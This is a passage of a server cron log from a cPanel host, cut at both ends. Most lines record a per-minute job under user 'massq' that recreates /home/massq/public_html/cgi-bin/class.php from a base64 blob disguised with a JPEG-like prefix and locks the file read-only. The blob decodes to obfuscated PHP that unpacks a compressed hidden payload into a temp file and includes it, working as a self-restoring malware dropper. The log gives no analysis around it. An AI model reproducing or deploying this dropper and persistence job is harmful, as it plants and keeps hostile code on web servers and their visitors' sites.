bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:56:01 server CROND[14155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:57:01 server CROND[14224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:57:01 server CROND[14225]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 00:58:01 server CROND[14301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:59:01 server CROND[14387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:00:01 server CROND[14547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:00:01 server CROND[14548]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:00:01 server CROND[14549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:00:01 server CROND[14551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:01:01 server CROND[14691]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 01:01:01 server CROND[14690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:01:01 server run-parts(/etc/cron.hourly)[14691]: starting 0anacron
Apr  8 01:01:01 server anacron[14703]: Anacron started on 2025-04-08
Apr  8 01:01:01 server anacron[14703]: Normal exit (0 jobs run)
Apr  8 01:01:01 server run-parts(/etc/cron.hourly)[14705]: finished 0anacron
Apr  8 01:02:01 server CROND[14781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:03:01 server CROND[14849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:04:01 server CROND[14916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:05:01 server CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:05:01 server CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 01:05:01 server CROND[15089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:05:01 server CROND[15090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:06:01 server CROND[15222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:07:01 server CROND[15293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:08:01 server CROND[15368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:09:01 server CROND[15441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1